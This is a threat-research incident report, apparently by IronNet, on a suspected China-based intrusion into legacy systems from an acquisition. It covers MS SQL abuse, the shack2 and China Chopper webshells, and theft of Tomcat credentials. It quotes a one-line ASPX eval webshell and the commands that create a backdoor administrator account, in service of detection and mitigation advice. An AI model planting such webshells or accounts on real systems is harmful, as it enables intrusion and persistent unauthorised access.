The security risk of M&A: Are Chinese cyber threats lurking in legacy infrastructure?

Key points

• In late August 2022, IronNet Threat Research discovered a malicious cyber intrusion by a highly sophisticated, likely China-based threat actor in the network of a U.S. software company.
• It is suspected the threat actor was conducting staging activity, possibly to exploit the lower security posture over the upcoming Labor Day weekend, with the possible goal of exfiltrating data to sell or finding a pivot point to access production environments. 
• Involving a high level of premeditation and knowledge of the target environment, the attack included the use of compromised VPN credentials, a unique MS SQL bypass technique, and the deployment of the shack2 and China Chopper web shells.

A little over a month ago, the IronNet Threat Research team uncovered malicious activity by a sophisticated threat actor targeting a software company in the United States. Specifically, the activity was observed in a compartmentalized segment of the company’s network that contained legacy infrastructure from a company acquisition several years prior. 

The observed compromise involved various service exploitation attempts and resulted in the deployment of two webshells: shack2 and China Chopper. After thorough investigation, it appears this cyber attack was conducted with a high level of premeditation, and the actor may have had access to the compromised network segment for an extended period of time before the observed activity was conducted.

Initial access

The threat actor gained initial access to the compartmentalized network segment via compromised VPN credentials. IronNet’s network detection and response (NDR) platform IronDefense detected an FTP (File Transfer Protocol) login on an enterprise host where the threat actor successfully authenticated with valid credentials and began enumerating the server. Additional FTP sessions followed, with various unsuccessful command execution attempts.

Shortly after the FTP activity, multiple authentication attempts using various credential combinations were detected against a different enterprise host. Upon reviewing the enumeration activity, IronNet hunters noticed the authentication attempts included various naming combinations of a specific company – a company that was acquired by the targeted organization in 2014.

Based on this information, IronNet hunters believe the targeted network segment, which contained outdated and unpatched systems, was part of this acquisition and likely forgotten about by the victim enterprise. Legacy infrastructure in the compromised segment included file servers, data repositories, and consumer and transaction databases, which were still online but had no apparent connections to production networks. However, even though the accessed systems were of relatively low value, the threat actor continued lateral movement, likely in hopes of discovering a link to other networks of interest.

After we reviewed initial findings with the targeted organization, the company indicated it had reason to believe the threat actor had been in the network for some period of time prior to these findings. While the company was unable to disclose further information or sourcing, we do know there was knowledge of a possible existing webshell in the environment, though the exact location was unknown. 

SQL exploitation

Initial connections were observed over port 1433 (MS SQL) as the attacker successfully authenticated and started running commands using the SQL Shell. The threat actor began with directory enumeration, which returned results.  

The threat actor attempted to open a command prompt, which failed due to default security controls implemented in this version of MS SQL. To circumvent this, the threat actor first attempted to escalate privileges and remove the settings that were preventing direct command execution. This appeared to have failed however, so the threat actor moved on to a different technique to achieve execution. 

The second technique involved dropping a command into a temp file, loading the temp file into a new table, and executing the contained command directly from SQL. To do this, commands were executed to check if a table named siweb3file existed. If the table exists, the command removes it and then creates a new version with a column of filev. The threat actor used this new table later on to access the results of executed commands. 

After staging the table for use, the attacker inserted commands into a local file stored in C:\T3tmp.log and loaded them into the newly created siweb3file file for execution. 

Tactic similarities with a Chinese-language blog 

The SQL exploitation techniques used by the threat actor appear to have some unique qualities – specifically the name of the table siweb3file and the name of the file C:\T3tmp.log used to store the executed commands – that closely overlap with tactics detailed in a Chinese blog breaking down the steps necessary to infect and escalate privileges on MS SQL servers.

While the order of operations is not exactly the same, there are some surprisingly similar actions taken:

In the blog, the author mentions the usage of xp_cmdshell, highlighting that the typical security controls that prevent its functioning by default are on SQLServers released after 2005 – exactly like what was observed here. The blog then describes how xp_cmdshell can run system commands, listing the specific command whoami. This is obviously a pretty common task for attackers to determine which user they are running, so it is not too surprising this action was seen in the attack. However, it is still worth noting.

Blog post detailing how to execute system commands

PCAP of attacker executing the same command

The observed activity continued to follow a very similar structure outlined in the blog, again even using the same table and column names (siweb3file, filev, and C:\T3tmp.log), as seen below.

Blog post using “T3tmp.log” file, “siweb3file” table and “filev” column name

PCAP with “T3tmp.log” file, “siweb3file” table, and “filev” column name

SQL exploitation continued 

The threat actor made multiple attempts to create a new user ‘aspnet_client’, but was unsuccessful due to access restrictions. 

An interesting note here is that the user the attacker attempted to create was ‘aspnet_client’, while later activity showed the creation of a user ‘asp_client’. This suggests an inconsistency or error on the threat actor’s part, in addition to a likely obfuscation attempt. ‘aspnet_client’ is a known directory path for Windows IIS, which was likely why the attacker chose it as the user account to create and use. 

The attacker then ran commands to identify system users and local administrators. After discovering the lack of permissions to execute desired commands, the threat actor performed additional system and network enumeration. This included directory enumeration, NETSTAT queries, and more. We assess that the output of these commands, specifically the NETSTAT results, pointed the threat actor to the Apache server running on port 9080.

Webshell upload

Following this, the threat actor appeared to upload a webshell to ‘c:\Inetpub\wwwroot\aspnet_client\a.aspx’. There is no evidence of this being a legitimate web or file path, and the string ‘<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>’ matches exactly to this GitHub project for a very simple aspx webshell.

This attempt to upload the webshell was unsuccessful, which is likely why the actor continued system enumeration.

One of the last commands observed was dumping the contents of the file tomcat-users.xml, which contained the admin user account and password for the Apache Tomcat server running on the victim host. IronNet hunters later observed the same username and password combination in the “Authorization” header of sessions from the attacker IP to a different victim web server. 

Port scanning and access attempts

Approximately ten minutes after the SQL exploitation activity began, web scanning started on various default and non-default HTTP ports: 80, 8080, 8009, etc. Through these initial sessions, IronNet hunters identified the User-Agent of the threat actor, which translates to a Windows 7 device.

Ten minutes later, an HTTP session to port 9080 was observed that included an unsuccessful authentication attempt using an “Authorization” header; this was the first observed instance of the attacker using the newly obtained credentials from the tomcat-users.xml file.

An HTTP POST session to ‘/manager/html/upload’ on port 9080 then succeeded, and the threat actor uploaded a file soon categorized as the shack2 JSP webshell (shack2 Jsp WebManage Login).

shack2 Webshell upload

System and file enumeration

Once deploying the webshell, the threat actor conducted numerous directory enumeration scans. We observed a command to “move” the file sap_door.jsp to another folder in the web root directory. The file sap_door.jsp had not been observed previously and only existed between the attacker and victim devices. 

Less than a minute after this command, the threat actor accessed the webshell once more, but specifically interacted with the sap_door.jsp file. The format for the webshell changed, and IronNet hunters were able to identify it as the China Chopper Webshell. The HTTP response for the webshell commands contained an Echo S & Echo E string, which is unique to China Chopper. 

Another note: We found it interesting that the HTTP sessions for the China Chopper webshell in this environment contained an ‘X-Forwarded-For’ IP of 7.232.52.115, which is a DoDIN (Department of Defense Information Networks) IP. We are unable to conclusively say what purpose this served, however, we believe that this was likely a misattribution attempt, albeit a bad one. It is believed that this could have been preconfigured in the webshell from a previous operation and could even potentially be used in future operations by the threat actor.

China Chopper webshell activity 

Once the attacker swapped from the shack2 webshell to China Chopper, we began to observe more targeted enumeration scans and systems commands. This activity included system user and process identification, deeper file system enumeration, and more. One specific instance was the access of a wp-config.php file, which contained database credentials.

Commands observed via the deployed webshell include directory and file listings, commands to add user accounts, etc. Key mentions include:

User account creation and administrator group addition

cmd=net user asp_client tYoGPhGOOa /add&m=CMDS
cmd=net localgroup administrators asp_client /add&m=CMDS

Enumeration of key directories and files

dir=C:/Documents and Settings/Administrator.<CENSORED>
dir=C:/Documents and Settings/<CENSORED>/Desktop
rrr=B&z0=UTF-8&z1=C:\\<CENSORED>\\Inetpub\\Customer\\CMF\\

The last activity observed was some outbound activity to remote Chinese IPs, encrypted over 443. 

wp-config.php  

“asp_client” user creation and administrator group add

Attribution

The identification of the China Chopper webshell provides insight into potential attribution given the rise of the webshell over the past few years and its use by various threat groups, particularly Chinese APTs (Advanced Persistent Threats). The use of China Chopper, in combination with the use of Chinese language in the code and the tight alignment to the Chinese blog detailing MS SQL exploitation, indicate a Chinese-based actor is responsible for the attack.

Furthermore, the threat actor exhibited a high level of sophistication and target knowledge in the intrusion. From start to finish, it is evident that the attack was premeditated and a carefully crafted plan was followed. Any issue the attacker encountered was quickly addressed and bypassed, whether by technique or by pivoting to additional running services. The attacker also came prepared with the various tools needed, which is significant given the age of the target systems. There were not a lot of errors from systems crashing throughout the course of the attack, which is rather uncommon when it comes to older systems such as these. The short period of time in which all of the observed activity occurred is also notable, with initial activity to webshell deployment and enumeration happening in under two hours.  

Given these reasons, as well as the attacker’s suspected motivations and sustained long-term access to the network, IronNet Threat Research asserts with moderate confidence a sophisticated China-based actor – possibly a state-sponsored Chinese APT – is responsible for the cyber attack. However, this is not confirmed due to the lack of conclusive evidence on the source of the attack or observations of novel TTPs/malware.

Motivation

While this network segment and its devices are outdated, the attacker’s continued persistence and level of target knowledge suggest it was targeted for a reason. We suspect the threat actor had access to this specific network segment for an extended period of time prior to the activity detailed in this article. It is within reason to say the actor may have had access for weeks to possibly months, though we are unable to confirm this. 

The threat actor may have chosen this time to be active in preparation for the upcoming Labor Day weekend, where cybersecurity response may be lower. Since this is an older part of the network, the threat actor may have been trying to exfiltrate data to sell or trying to find a pivot point to production environments. Though the network segment was not connected to production equipment, some links could exist from the segment to the production network that the threat actor may have been trying to exploit. 

IronNet recommended mitigations

• Identify IT assets that your organization owns and the potential vulnerabilities or cyber risks that impact each one, and take mitigating actions to reduce your organization’s attack surface. 
  • Any device, resource, or service existing in your IT environment is subject to risks or vulnerabilities that could potentially lead to a breach of the individual resource or your network as a whole.
• Ensure all servers and services are patched and up to date. Patching and updating systems in a timely manner is one of the most efficient and cost-effective measures an organization can take to prevent and minimize exposure to cyber threats.
• Enforce a strong password policy and regular password changes.
• Closely monitor VPN credentials and usage.
• Ensure strong segmentation and segregation across trust boundaries, especially when concerning legacy infrastructure or infrastructure integrated from acquisitions.
• Deploy NDR solutions to ensure visibility of network activity; and deploy EDR solutions, even on servers.
  

Incident timeline and associated MITRE ATT&CK TTPs